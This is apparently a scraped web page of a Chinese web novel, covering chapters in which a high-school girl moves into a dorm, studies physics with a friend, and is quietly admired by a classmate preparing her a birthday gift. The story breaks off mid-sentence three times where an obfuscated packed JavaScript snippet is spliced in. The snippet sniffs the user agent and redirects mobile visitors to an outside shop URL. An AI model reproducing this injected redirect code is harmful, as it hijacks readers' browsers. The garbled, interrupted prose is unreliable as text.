那盆红烧鱼端上桌的时候,还在滋滋地冒着热气,热辣的红油完全淹没了鱼块,香菜和红辣椒错落点缀,姜片如半透明的玉屑漂浮在周围。 黄时雨立刻拿起筷子大快朵颐。 “小心刺啊,别吃这么快,”黄爸爸坐在对面笑盈盈地提醒。 “噢,有一件重要的事,”黄时雨还没吃几口,一听到这句话,马上放下筷子。 “苗苗,如果爸爸今天下午把这个单谈下来了,可能后面要去那边的工厂考察一下,估计至少要一个星期,两个星期也是有可能的……” 黄时雨瞬间理解了这句话的言外之意—— “我懂了,就是说在你出差这段时间,我要住校,对吧?” 黄爸爸忍不住拍手,“一点就通,就是这个意思,爸爸主要是怕你不愿意嘛。” 黄时雨毫不犹豫地摇头,“我非常愿意啊,而且我还从来没有体会过住校的感觉,说不定还挺有意思的。” 每天早上都可以和室友一起起床,晚上可以和室友慢慢悠悠回宿舍,不仅可以相互探讨学习问题,还可以聊八卦,对于黄时雨这种从来没有住过校的人来说,这种集体生活的诱惑力简直不要太大。 “那到时候你陪我去学校办住校手续吗?” “那是当然!” 下午一到学校,黄时雨就匆匆忙忙跑到座位上,她一定要把这个消息第一时间告诉吴笙笙。 “笙笙,我过段时间可能要住校哦。” “真的假的,为啥要住校啊?”吴笙笙放下笔,转过头好奇地询问。 “因为我爸要出差啊,他本来说让我像你一样半走读的,但是我说我想试试晚上也住校,他也同意。” “这样啊,那你能不能住骆子玉的床位啊?” 吴笙笙眨眼暗示。 骆子玉刚刚搬走,黄时雨正好住进来简直再合适不过了。 “我当然很想啊,到时候去办住宿手续的时候,问问看。” 上课铃来的猝不及防,把喧闹声瞬间隔绝在教室之外。 小陈老师抱着上午的开学考试卷子在窗户边交给数学科代表。 “这张卷子我是不讲的,所有的内容都是之前学过的,如果还有不会的,相互讨论一下,或者直接来办公室问我。” 窗外的天空暗得发青,乌云低垂,几乎要碰到楼顶。不断有寒风从半开的窗户缝隙里挤进来,掀开众人桌子上的试卷一角,又无力地落下。 在这昏暗的天色下,所有人的目光都齐刷刷地投射到科代表手里的那一叠试卷上,完全没人关心即将到来的狂风暴雨。 科代表站起来,开始一张一张发试卷。 很快,科代表把试卷放到吴笙笙桌子上,黄时雨立刻凑过去看—— “考这么好啊,不愧是你。” 黄时雨忍不住摸了摸吴笙笙那张139分的卷子,希望在最后时刻,还能沾沾喜气。 “130!”黄时雨看到卷子分数时,还有点恍惚。 “你也考挺好啊,这是不是你高二第一次上130?” 黄时雨狠狠点头,看到卷子上只错了一个选择题,和最后两道大题的最后一问扣了一些分,其他全是红勾勾。黄时雨把这张卷子铺得异常平整,在桌子上摆了一整个下午,都舍不得把它放到试卷袋里。 远处的雷声像是被闷在棉被里的鼓点隐约传来,教室的玻璃窗上已经零星地爬上了几滴细小的水珠,慢慢往下蜿蜒,在窗框上留下曲折的水痕。 临近下午放学时,这场雨已经变得一发不可收拾了。 教室里门窗紧闭,呼啦啦的大风在不停推搡着窗户。整个教室陷入沉闷,空气仿佛凝固了一般,沉甸甸地压在每个人的肩头。 同学们翻书的声音变得格外清晰,偶尔从角落里还能听到一两声来自某位同学的叹气。 “同学们,现在就可以开始收拾东西了,”老赵匆匆忙忙跑进教室,“待会儿放学的时候,有伞的同学尽量跟没伞的同学一起撑一下,实在需要让父母来接或者送伞的现在上来用我的手机打电话。” 老赵这几句话就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619087|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一滴清水落入油锅,原本来自角落的的窸窸窣窣的声音瞬间扩大,该收拾书包的收拾书包,该打电话的打电话,外面雨幕如织,将整个世界笼罩在一片朦胧的水雾中。 “笙笙,你带伞了吗?” 黄时雨弯下腰去翻桌肚,终于从最里面掏出一把上学期拿到学校忘记拿回去的伞。 看来健忘也不是绝对的坏事。 “我有伞,但是在宿舍,教室没有。” 黄时雨把自己的伞拽出来给吴笙笙看—— “那我陪你去取。” 不得不说,天公还是心疼学生。放学铃打响,雨还真的小了很多,原本朦胧一片的虚幻世界逐渐开始变得清晰起来。 从逸夫楼到学生公寓还要穿过操场。这会儿雨小,得抓紧机会。 黄时雨背上书包,拿上伞,牵起吴笙笙的手就往外冲。 教学楼下,没带伞的学生们挤在一起,像一群被雨水打湿羽毛的鸟,彼此挨着却又保持着微妙的距离。 黄时雨的伞非常大,是爸爸之前在网上买的家庭伞,再来一个人都不拥挤。 吴笙笙似乎也发现了这一点,扯了一下黄时雨的袖子,小声说,“要不我们问问还有没有哪个同学也要去学生公寓吧,顺便带一个。” 黄时雨点头,“行。” 两个人又折返到逸夫楼下。 “有没有同学要去学生公寓啊,可以跟我们一起打伞过去,”黄时雨的视线扫过躲雨的同学们,期待着有人回应。 “我来我来!” 从人群中挤出一个个子小小的女孩。 “卜佳!” 原来她就是卜佳,黄时雨第一次见。 黄时雨个子最高,站在三人中间撑着伞,旁边两位都挽着她的胳膊。 “你好,我叫黄时雨,可能过段时间要搬来跟你做室友哦。” “真的吗,欢迎欢迎,那你也跟吴笙笙一样是半走读吗?” 黄时雨摇摇头,“应该是完全住校那种。” 卜佳兴奋地摇着黄时雨的胳膊,眼里的喜悦又增多了几分,“太好了,骆子玉搬走了,黎果又一直沉迷学习,话都不怎么说,吴笙笙又是半走读,现在终于来了一个晚上能交流交流的人啦!” 吴笙笙立刻打断,皱着眉头把黄时雨往自己身边拉了拉,“你在干嘛呀卜佳,第一次见面就这么亲热。” “你吃醋了?” 吴笙笙恼羞成怒,卜佳趁着视线盲区完美防守住吴笙笙的攻击,只是苦了黄时雨在中间被两个人来回拉扯,还得保证伞能稳稳立住,三人都不被淋成落汤鸡。 “行了行了,你们都正常点不行吗!” 黄时雨无奈地摇摇头。 到达学生公寓,吴笙笙和卜佳上去拿伞,黄时雨在公寓楼下等着。 这栋学生公寓是男女混住的,男生住下三层,女生住上三层,而且没有电梯。被学生们吐槽多年也没有任何改变。 黄时雨等得无聊,注视着一滴又一滴雨水从屋檐往下流,甚至说不定再给她一点时间,都能算出来从二楼落到地面所需的时间。 黄时雨试探性地伸出脚尖。 果然,喜欢踩水的人就算长大了也一样。 雨花一朵接一朵地绽开,像在脚尖上突然长出了小蘑菇。 黄时雨又换了一只脚。 “好玩吗?” 黄时雨抬头,祝则溪和齐章年正站在旁边偷笑。 黄时雨有点不好意思,但也跟着笑了,“好玩啊。” “你们俩也住校吗?” 祝则溪摇头,“我是半走读,他不住校,只是送我过来拿伞的。” “你是……在这里等人吗?” 黄时雨点头,“对,等我闺蜜。” “不过,过段时间我应该也要住校了。” 祝则溪脸上闪过一丝惊讶的神色—— “嗯?全天都住校那种吗?” “对,但我还没办手续,因为不知道具体什么时候住进来。” 祝则溪突然不接话了。 半响,他才露出一个礼貌的微笑—— “好,我知道了。” 18. 第十八次招惹 高二下册,是学习新课的最后阶段。 为了给高三留出足够的复习时间,学校强制要求在这学期期末考试之前,完成所有新课的学习任务。因此,每位老师讲课都讲得飞快,甚至连下午吃饭的时间都从原本的一个小时压缩到了四十分钟。 最可怕的是,黄时雨的物理已经快到学不懂的地步了。 什么磁场,什么电磁感应,什么传感器,什么热力学,通通都像在黄时雨脑袋上罩了一个鼓,任凭老赵怎么讲解,怎么打击,就是只能听见响动,搞不清具体操作,也留不下半点痕迹。 于是,黄时雨就顺理成章地成了老赵办公室的常客。 只不过这次不是以班长的身份,而是以物理差生的身份。 好不容易有一天在下午放学的铃声响起之前,黄时雨回到了教室,给正在埋头刷题的吴笙笙都震惊到了。 “笙笙,我们一会儿去前门新开的那家冰粉店尝尝吧,怎么样?” 吴笙笙立刻点头,“可以啊,为了给你留出足够的研究物理大题的时间,咱们都连着吃了好多天食堂了。” 黄时雨忍不住叹气,把桌面上的所有教材全部整理归位,“我也不想啊,可是电磁这部分真的很难啊,好多题还要跟力学结合在一起,我就更不懂了。” 吴笙笙思考了一下,随口一说,“我觉得不用写那么多题。” “?” 吴笙笙伸手在黄时雨的桌肚里随便一翻,就拿出好几本物理教辅,每一本教辅的书页都已经泛黄卷边,一眼就知道翻来覆去看过多少次。 “不管你买多少教辅,做多少题,本质上就是那几种类型,把一道题型搞清楚,再搞下一道题型,都搞清楚了再增加练习。” 黄时雨拧紧了眉头,“道理我都知道,关键是我搞不懂那些题型啊。” “对,所以你去问老赵题,应该是要学会这一种解题方法,不能拿到不会的题就去问,如果是之前问过的类型,就应该自己试着去破解一下。” 吴笙笙的话有点通俗又有点高深,黄时雨忍不住将她的话翻来覆去咀嚼。 走在去冰粉店的路上,黄时雨还在纠结刚刚吴笙笙说的那一番话。 “那你的意思是,我应该把之前做过的所有题拿出来汇总,然后分类整理?” 吴笙笙不置可否地点点头。 “这样我就能搞清楚我具体哪里没搞懂,再有针对性地去问老赵?” 吴笙笙再次配合地点头。 “强!” 黄时雨忍不住在吴笙笙眼前竖起一个大拇指。 “一般。” 吴笙笙努力绷住笑容,把黄时雨的大拇指压下去。 等两人到达冰粉店门口时,门外已经排起了长队。 这家冰粉店的装修很古朴,整体是实木的桌椅板凳,连门外都坐满了人,爆火程度可见一斑。一碗一碗装满了水果的冰粉从厨房里运送到餐桌上,在灯光的照耀下显得格外明媚透亮。 黄时雨踮起脚往店里张望—— 确实,一个空位都没有。 “要等吗,苗苗?” 于情,黄时雨是想吃的,也愿意等;于理,下午吃饭时间有限,怕等久了来不及吃。 “……” 黄时雨终于下定决心正准备说“算了”的时候,祝则溪拿着个勺子从店里跑了出来。 “黄时雨,”又转头跟吴笙笙打招呼,“你好,你们是想吃这个冰粉吗?” “我和齐章年在里面吃,可以帮你们叫两份打包,”祝则溪压低声音,“应该比你们排队快一点。” 黄时雨疯狂点头,即使声音再小也压抑不住内心的兴奋,“谢谢,我要一份经典款冰粉,笙笙你呢?” “我也一样。” 有熟人帮忙果然不一样,前面的人还在执着地排队,后来的黄时雨和吴笙笙已经顺利吃上了。 四个人一起慢慢往学校走。 “好好吃啊,有一种清甜的香味,感觉水果很新鲜,”黄时雨一边吃一边大加夸赞。 祝则溪怕黄时雨沉迷“干饭”不看路,一直小心翼翼地走在她旁边,把她护在内侧,生怕别人撞到她。 “对了,你什么时候开始住校啊?” 黄时雨听到祝则溪的好奇,吃完最后一口就放下勺子说,“这周五我爸陪我去办住校手续,周末把宿舍收拾好,下周一就开始住校了。” “那你们俩住一起吗?” 黄时雨和吴笙笙对视一眼,摇摇头,“还不知道呢,到时候看看学校怎么安排。” “那你住几周啊?” “暂定两周。” 吴笙笙突然想起什么,快步追上黄时雨,“苗苗,那你的生日是不是要在宿舍过了?” 黄时雨在心里估算了一下,还有12天生日,确实是在宿舍里。 “对的,应该是在宿舍,还有12天嘛。” 12天,3月22日,准备时间足够了,祝则溪在心里暗暗盘算。 齐章年开玩笑地说,“遭了,那是不是我们现在听到的都要准备生日礼物啊,那我要不假装没听到?” 三个人都忍不住笑起来。 “有没有礼物都没事儿,到时候我提前订个蛋糕,大家一起吃就行,礼不礼物的,我不在意。” 黄时雨说完,抬头看向齐章年,齐章年立刻做了一个OK的手势作为回应。 走到学校门口,黄时雨才想起没给祝则溪冰粉钱。 “冰粉还没给钱呢,多少钱啊?”黄时雨说着就准备从兜里拿钱。 “不用不用,就当是请你们的,别客气。” 祝则溪急忙摆手。 “就当是……我们俩提前交的蛋糕品尝费,”齐章年压到祝则溪身上,冲黄时雨和吴笙笙眨眼示意。 回到教室,黄时雨立刻开始执行自己的“分类整理”大计划。 不翻不知道,黄时雨做过的卷子和习题还真不少,从试卷袋里抽出来的物理试卷压紧了能有三块橡皮叠起来那么厚。 吴笙笙欣慰地笑了。 “你把这些卷子的大题剪下来,分门别类贴到一起,这样复习的时候就一目了然了,后面再遇到新题型的时候也是一样,这样知识就会越学越少,而不会越学越多。” 黄时雨心领神会,不到半小时,就把之前做错或者不会做的题目全部都按照不同类型整理了一遍。 她打开笔记本,在吴笙笙面前翻了一遍。 “怎么样,可以吧?” 吴笙笙接过笔记本,又仔仔细细翻阅了一遍。看到上面工工整整的字迹和注释,吴笙笙满意地点头—— “相当可以!” 就这样,在吴笙笙的一对一帮助下,黄时雨用了三四天时间,把做过的题型都分类复习了一遍,不能说完全触类旁通,也至少在一定程度上有了醒悟。 3月的天逐渐回暖,柳枝是最先感知变化的,嫩芽从灰褐色的树皮里钻出来,在尚带凉意的风中怯生生地舒展。天色常常呈现出一种朦胧的蓝,云朵蓬松绵软,边缘被阳光镀上银边。偶有不知名的飞鸟掠过,翅膀划破凝滞的空气,留下一串清亮的鸣叫。 人们总说“一年之计在于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619088|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春”,黄时雨这段时间的状态也是格外好,不管是学新课还是写作业效率都非常高。 “黄时雨,今天想吃什么,我去给你买。” 第二节课刚下课不到两分钟,罗亦芃就从窗户外探了个脑袋进来。 为了感谢黄时雨在寒假借自己作业,罗亦芃按照黄时雨的要求,每天勤勤恳恳地当跑腿,在第二节下课给她买零食。 这半个月天天如此,毫无怨言,黄时雨非常满意。 黄时雨抬头,一眼就注意到罗亦芃剪了个更清爽的短发。 “你剪头发了,好看诶,现在是清爽大帅哥了哦。” 罗亦芃摸了摸自己的头发,“很明显吗?” 黄时雨直言不讳—— “很明显,”随即又补充,“很瓜。” 看到罗亦芃被气笑了,黄时雨赶紧道歉,“没有没有,好看的哈。” 黄时雨思考了一下,开始下达今天的跑腿任务,“那你今天就买……” 刚想说“买一包干脆面”,黄时雨就看到爸爸在教室前门门口张望,多半是准备去办理住校手续的。 黄时雨赶紧起身,快步走到教室门口。 “爸爸,去办住校手续是吧?” 黄爸爸点头,从公文包里翻出所需材料,“你看,爸爸都准备好了,你这会儿要是没什么事的话,咱们现在就去?” 罗亦芃走过来,笑着打招呼,“黄叔叔好,还记得我吗?” 黄爸爸愣了一下,随即笃定地拍了拍罗亦芃的肩膀。 “你是罗亦芃嘛,叔叔知道,跟苗苗初中一个奥数班的。” “对,”罗亦芃看到黄时雨拿在手里的住校申请表,“你要住校啊?” 黄时雨点点头,“对,住两周。” 黄时雨和爸爸走过学校礼堂,上到三层,终于到达了学生办事处。 黄时雨推开虚掩着的门,看到一个年轻女老师正坐在办公椅上悠闲地玩手机。直到黄时雨走到她面前,女老师才放下手机,打开电脑上的学生管理页面。 “老师您好,我带闺女来办一下住校手续。” 年轻老师头也不抬,“申请表,户口簿复印件,家长知情同意书。” “都在这儿,”黄爸爸把提前准备好的文件从公文包里拿出来。 …… “有没有想住哪个寝室?” 居然可以自己选吗,黄时雨心里一阵窃喜。 “老师,我想住502。” “好。” 在电脑上一顿操作后,年轻女老师从抽屉里拿出一大把钥匙,从里面找出502宿舍的钥匙交给黄时雨。 黄时雨立刻把钥匙装到裤子兜里,还伸手往里戳了好几下,生怕它掉出来。 “吴笙笙,我要住在502啦!” 还没等坐回座位上,黄时雨就忍不住把这个好消息告诉吴笙笙,期待能看到她露出跟自己一样兴奋的表情。 “可以啊,那你就是我上铺了,”很明显,吴笙笙的语气里也多了一丝激动。 黄时雨得意地挑眉,并开始制定重要的住校采购计划。 她掰着手指一件一件盘算—— “洗脸和洗衣服的盆子要买吧,洗漱用品要买吧,拖鞋要买吧,洗衣液要买吧,床单被套都要重新买一米二的吧……” “还有什么我忘记的吗,笙笙?” 黄时雨伸出手指戳了戳吴笙笙的胳膊。 吴笙笙转过头,把手搭在黄时雨的肩上,严肃地说—— “还有最重要的,带上你这个爱学习的小笨蛋。” 19. 第十九次招惹 祝则溪第一次见到黄时雨是小学四年级。 和往常一样,小姨骑电动车把祝则溪送到学校门口,“快进去吧,中午小姨来接你。” “好。” 祝则溪用脆生生的声音响亮地回答。 小姨害怕祝则溪长得太快,在三年级订校服的时候就专门订了比祝则溪当时身高大两个号的,一直到现在都读四年级了,这套校服在祝则溪身上还是显得特别宽大。 今天是周一,是例行开校会的日子,校门口的红领巾监督员一共安排了四个,左右各站了两个,每位同学进去都要被拦下来检查,确认红领巾佩戴整齐之后才能放行。 “你的红领巾呢?” 黄时雨伸手拦住了他。 祝则溪心里一惊,低头发现脖子上真的是空的。 明明往常都会戴好红领巾再出门的,怎么今天偏偏搞忘了。 祝则溪看着眼前这个跟自己差不多高的女生,心里还是有点发怵,既害怕被同学看到丢脸,也害怕因为自己的原因这个月班上得不到“流动红旗”。 祝则溪下意识去摸自己的裤兜,左手一掏,空的;右手一掏,也是空的。 “我找一下,”面对黄时雨的强硬态度,祝则溪只能继续低头在身上到处搜寻。 摸到衣服兜里好像有一团鼓鼓囊囊的东西,祝则溪轻轻一扯,一条红领巾就从兜里流了出来。 “那现在马上戴上,就不扣你们班的分了。” 祝则溪一边戴一边偷瞄女生胸前的工作牌—— “红领巾监督员:黄时雨。” “谢谢。” 这是祝则溪第一次在校门口被拦住,也是最后一次被拦住。 从那时起,祝则溪发现总是能在学校各种活动上看到黄时雨的身影。 看到她赢得比赛,祝则溪总会在台下握拳小声欢呼; 看到她失意难过,祝则溪也会在台下深深叹气。 进入初中,祝则溪开始系统学习美术,学习控笔、形准、结构、光影,他发现这个世界除了能从眼睛里读出来,也能从画笔下流淌出来。 于是,他主动成为了她的记录者。 截至目前,五年如一日。 星期天中午。 “苗苗,住校要用的东西都收拾好了吗,爸爸妈妈待会儿陪你搬宿舍哦。” 黄时雨边大口吃饭边鼓着腮帮子说,“都收拾好了,就一个行李箱,还有一套床品,吃完饭拿上就走。” 黄妈妈把桌上的菜全都推到黄时雨面前,“多吃点啊苗苗,住校期间可吃不到这么好的了。” “就是啊,本来学习就辛苦,饭一定要吃好,”黄爸爸在旁边积极附和。 黄时雨风卷残云般快速吃完饭,站起来径直走到还摊开着的行李箱面前。 “我再检查检查,看看收拾完了没有。” 黄时雨认真清点了一遍箱子里的物品,确认无误,“砰”的一声把行李箱扣到一起,立起来。 大家一起把行李搬到后备箱,然后坐在车里听着黄时雨发号施令—— “请黄曲山先生,黄妍女士系好安全带,住校生活,启动!” “苗苗,那几个室友都是高二的吗,你都认识吗?” 黄妈妈在后排,冷不丁冒出一句。 黄时雨不置可否,“当然认识啊,除了吴笙笙,另外一个是黎果,我们年级第一,还有一个是卜佳,一班的。” 黄爸爸边开车边跟黄时雨叮嘱,“你去宿舍之后,要大方一点,不要斤斤计较,要跟室友们搞好关系,知道吗?” “知道啦!” 黄时雨性格很好,也很听话,基本没让父母操过心。 在学校门口停好车,三个人一人一件行李,从校门口穿过操场进入学生公寓。 “爸爸,你搬行李箱慢一点哦,这没有电梯,只能靠人力。” 黄爸爸搬几步歇一会儿,嘴里还念念有词,“没事,不重。” 三个人紧赶慢赶终于爬上了五楼,现在才两点多,许多住校生还在午休,所以走廊上基本没什么人。 三个人站在502房间门口,黄时雨从兜里拿出钥匙,随意朝孔眼里戳了几下都歪了。 这什么破门啊,居然还是这种老钥匙。 黄时雨蹲下身,正准备拉住门把手,对准孔眼认认真真开门时,门突然朝内打开了。 “嗨,黄时雨。” 卜佳穿戴整齐,手里还拿着笔,看起来好像没有午休。 “叔叔阿姨好,”卜佳微微侧身打招呼。 “你好你好,”黄爸爸和黄妈妈也笑着回应。 大家一起把行李搬到宿舍里。 “我是三号床对吧?” 吴笙笙是一号床,她的上铺应该就是这个了。 “对的,你住三号床,然后衣柜是这个,”卜佳走到门背后,拉开一个空衣柜给黄时雨看,“书桌是这个,不过就是有点挤。” 黄时雨和妈妈爬到床上整理床铺。 “小姑娘,叔叔在这不影响你吧?” 卜佳刚翻开书,住在床沿边看,听到这话立马从书里抬起头,“没有没有叔叔,没什么不方便的。” 两个人收拾就是迅速。 从床上下来,黄时雨打开行李箱,把带来的衣服整整齐齐叠好,放进衣柜。 三个人环视了一圈,宿舍基本都收拾妥当了。 “行,那爸爸妈妈就先走了,”黄妈妈凑近黄时雨耳边,“跟室友好好相处啊,那个女孩还挺乖的。” 黄时雨点点头,“我知道,爸爸妈妈拜拜。” 黄爸爸轻轻拉上门。 黄时雨坐到椅子上,把杂乱无章的生活用品归位时,才突然发现没从家里拿牙刷牙膏,得现在去买。 “卜佳,我要去小超市买牙刷牙膏和杯子,你有什么要买的吗,我帮你带回来。” 卜佳立刻合上书,从床上蹦起来,“我跟你一起去呗。” 黄时雨惊讶,“我还以为你要继续看书呢。” 卜佳把教材重新放回桌子上,盖上笔帽,叹了口气,“我学习不好,看不看这一会儿也没差别。” “都怪我爸妈给我起的这个破名字,什么卜佳啊,学习不佳!” 两个小姐妹手挽手,朝学校门口的小超市出发。 刚走到小超市门口,有一个身材颀长的男生从隔壁文具店出来,闷头往学校方向走。 “祝则溪!” 黄时雨叫住他。 祝则溪这才转头注意到两人。 “黄时雨,卜佳,你们也来买东西啊?” 卜佳指着祝则溪手上的袋子问,“你来买美术工具吗?” 袋子里装着花花绿绿的小玩意,好像有几张彩纸,有一些贴纸,一盒马克笔,其他的黄时雨看不出来具体是什么。 祝则溪大方承认,“对,这些都是我画画要用的。” 天呐,一次就要买这么多材料,学美术还是太费钱了,黄时雨在心里默默感叹。 送走祝则溪后,黄时雨总感觉不太对劲—— 不对啊,他不是半走读吗,现在怎么会在文具店买东西? “卜佳,祝则溪不是半走读吗?” 卜佳拉着黄时雨在超市到处逛,“他现在好像是完全住校了吧,因为我昨天晚上还在宿舍楼下看到他来着。” 超市里人很少,只有稀稀拉拉几个人在零食区买吃的,倒是出口处收银的人还有好几个,由于客流量比较少,正聚在一起说笑。 买完东西出来已经快五点了。 陆陆续续有同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619089|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学进学校,黄时雨和卜佳也随着人流往里走。学校又从短暂的安静中脱离出来,钻进了更热闹的人声鼎沸中。 等黄时雨回到教室时,班里已经来了一大半人了。 很明显,很多人是提前来“补作业”的。 “你宿舍收拾好了吗?” 吴笙笙见黄时雨走过来,马上止住跟前排聊天的话头,转而询问黄时雨搬宿舍的情况。 “都弄好啦,今天晚上就正式开始我的住校生活!” 吴笙笙看到黄时雨一脸兴奋,忍不住好奇,“这么开心?” “当然啦!” 刚聊没几句,黄时雨看到黎果开始挨个收数学作业了,撞了一下吴笙笙的胳膊。 “要收之前发的排列组合的卷子了。” 吴笙笙从文件袋里掏出试卷拍在桌子上—— “我觉得好难。” 黄时雨狠狠点头,“我也觉得。” “排列组合这部分,就是简单的就很简单,一旦难起来,一点头绪都摸不着。” 黎果走过来,言简意赅,“排列组合。” “给。” 吴笙笙把两人的卷子一起交上去。 也许是大家都感受到了高二下册拉进度的速度之快,刚打了预备铃教室里就瞬间安静下来,就算老赵不在教室,同学们也都非常自觉,该复习的复习,该写作业的写作业。 从进入高二开始,班里同学的成绩就起起伏伏非常明显。 从前几名掉到车尾的不在少数,从中等偏下上升到年级前五十的也不在少数。网上说“高二是整个高中最重要的阶段”这句话诚不欺人。 一阵钥匙声从远到近传过来,不用抬头,这声音太熟悉了,就是老赵。 老赵不知道从什么时候养成了这个习惯,喜欢在教室窗户外偷偷盯着班里同学的动静,还别说,在他刚用这招之前确实还抓住过几个说小话的同学。 这几天大家的表现都很不错,基本没有人说话,偶尔有同学说几句,都是问作业之类的必要交流。 老赵走到讲台上,神情严肃地环视了一圈—— “这个寒假,我们年级八班有人敲诈勒索甚至殴打多名初中生,被其中一名初中生家长举报,这几个同学不仅被罚款,还被处以了五日的拘留。” 同学们听到后都忍不住交头接耳。 黄时雨也很惊讶,虽然校园暴力确实应该严惩,但黄时雨不知道的是居然惩处力度这么大。 “所以,明天星期一,学校要召开反对校园暴力的校会,请大家统一穿冬季校服,早自习结束后,大家就去操场,还是老地方。” 与此同时,祝则溪也正在听班主任安排明天校会的事。 “能请假吗?” 祝则溪非常小声地凑到齐章年的耳边问。 “你要干嘛?” 祝则溪犹犹豫豫的,最后还是给齐章年说了实话,“我要做立体书。” 齐章年无语,“现在做什么立体书啊,太浪费时间了。” “……” “噢,”齐章年突然想起了什么,“你该不会,想做好之后,送给黄时雨当生日礼物吧?” 祝则溪坦然承认,“对!” 齐章年思考了一下,突然一拍脑门,“我记得寒假我去你家的时候,你不是快做完了吗,卧室床头那个,是不是?” 齐章年居然还记得,祝则溪有点惊讶。 “对,不过那个还只是个毛胚,还得多打磨一下。” “啥?” 齐章年还以为自己听错了,明明寒假那本立体书已经非常完善,非常精致了,不管是自留还是送礼都很拿得出手了,居然还被祝则溪评价为是个“毛坯”。 “毕竟我要做到最好才送,因为她只值得最好的。” 20. 第二十次招惹 距离晚自习放学还有最后五分钟。 按照以往的惯例,黄时雨应该已经在收拾书包了。 可是对于住校生,学校破例允许可以多上一节自习,也就是上到11点再回宿舍。 “那我先走咯,明天见!” 吴笙笙背上书包,把椅子推到桌子下面。 “明天见!” 不到十分钟,教室里就只剩下零零散散几个住校生。好像随着人群的散开,教室里的热气也被带走了一样,黄时雨忍不住打了个寒颤。 最后四十分钟,学点什么好呢? 黄时雨犹豫了一下,决定学点简单的,比如:写写语文阅读,这可是黄时雨的拿手项目。 对大部分同学来说,散文是最晦涩难懂的,可是对于黄时雨来说,这偏偏是她最能共情的地方。 也许天生就是高共情能力者,无论散文内容写的是思乡的,悼亡的,追忆的还是伤感的,喜悦的,黄时雨好像总能从自己短短十几年生活中找出些许相似之处。 当她低头认真完成全部语文阅读后,再抬头时,教室里已经只剩下黎果和自己两个人了。 黄时雨收拾好课桌,把书全部放进桌子下面的箱子里。 “黎果,你回宿舍吗,我们可以一起。” 黎果抬头揉了揉眼睛,摇摇头,“不用,我可能还要等一会儿。” “好。” 黄时雨独自走出教室。 人们常说,“人不能同时拥有青春和对青春的感受,”黄时雨沿着走廊往楼梯走,试图在这凉如水的夜色中,忙里偷闲地感受一下高中时代为数不多的悠闲时光。 教学楼里偶尔涌出几个疲惫的身影,却也只是急匆匆往前赶。尽管路灯、星星、篮球场、积水等校园碎片就在手边,却也鲜少有人愿意将它们拼凑起来,只有黄时雨是例外。 走到一班门口,发现教室里还亮着灯,黄时雨下意识往里望了一圈。 发现只剩下祝则溪一个人了。 黄时雨靠在墙外,利用墙体遮挡,悄悄探出头隔着窗户偷偷观察祝则溪在画什么。 他在画一个类似信封的东西。 但祝则溪似乎不太满意自己的作品,反复擦掉又重来。 “天生的美术苗子,还是完美主义者,”黄时雨在心里默默感叹。 她推开窗户,伸出手在祝则溪的桌子上敲了一下。 祝则溪似乎被吓了一跳,但发现是黄时雨后又很快笑起来,然后立刻把桌上的画笔和线稿收下去,好像生怕被黄时雨看到了一样。 黄时雨也不在意—— “走不走,很晚了哦。” 祝则溪抬头看了看教室前面的挂钟,指针已经指到11点了。 “走。” 祝则溪迅速收拾好自己的美术工具,然后把教室的灯关掉,并锁好门窗。 黄时雨和祝则溪并肩从二楼往下走。 走廊上的声控灯随着脚步声次第亮起,又在两人身后渐次熄灭。远处宿舍楼的轮廓在夜色中影影绰绰,还有部分未眠的黄色灯光,像散落的星子。 这地上还有些雨后未干的水坑,黄时雨轻轻踩过积水处,也踩碎了一地斑驳的树影。 “你很喜欢踩水。” 祝则溪轻笑着,用一种又疑问句又陈述句的语气说出来。 “因为很好玩啊,只要水不太深就行,”黄时雨说话轻快活泼,完全不像疲劳学习十几个小时后的懒散状态。 祝则溪不禁感叹:怎么会有人精力这么充沛。 “我还没问你呢,你为什么也变成住校生了?” 黄时雨话题转变得毫无征兆,让祝则溪都愣了一下。 “噢,因为家里太无聊了。” 黄时雨忍不住笑出来,但又极力克制住—— “晚上回家学习有什么无不无聊的,反正都是一样的学。” 祝则溪摇摇头,对黄时雨这句话表示反对,“不一样,这段时间没人陪了。” “你学习还需要人陪着啊,”黄时雨有点惊讶,但更多是好奇。 “嗯,”祝则溪也不多解释,“既想要,也需要,不过是我单方面的。” 走到宿舍楼下,大门上已经挂上了锁,只是没有锁住。 祝则溪先往前跑了几步,在前面推开大门,让黄时雨先进。 “谢谢你哦。” 祝则溪轻轻松手,大门归位的时候居然没有什么碰撞声。 “不客气。” “你宿舍号是多少啊?” 祝则溪脱口而出,“303。” 黄时雨点点头,“我住502。” 两人在三楼楼梯口分开,黄时雨站在宿舍门口掏出钥匙,又费了九牛二虎之力才把门打开。 浴室里传来水声,估计是卜佳在洗澡。 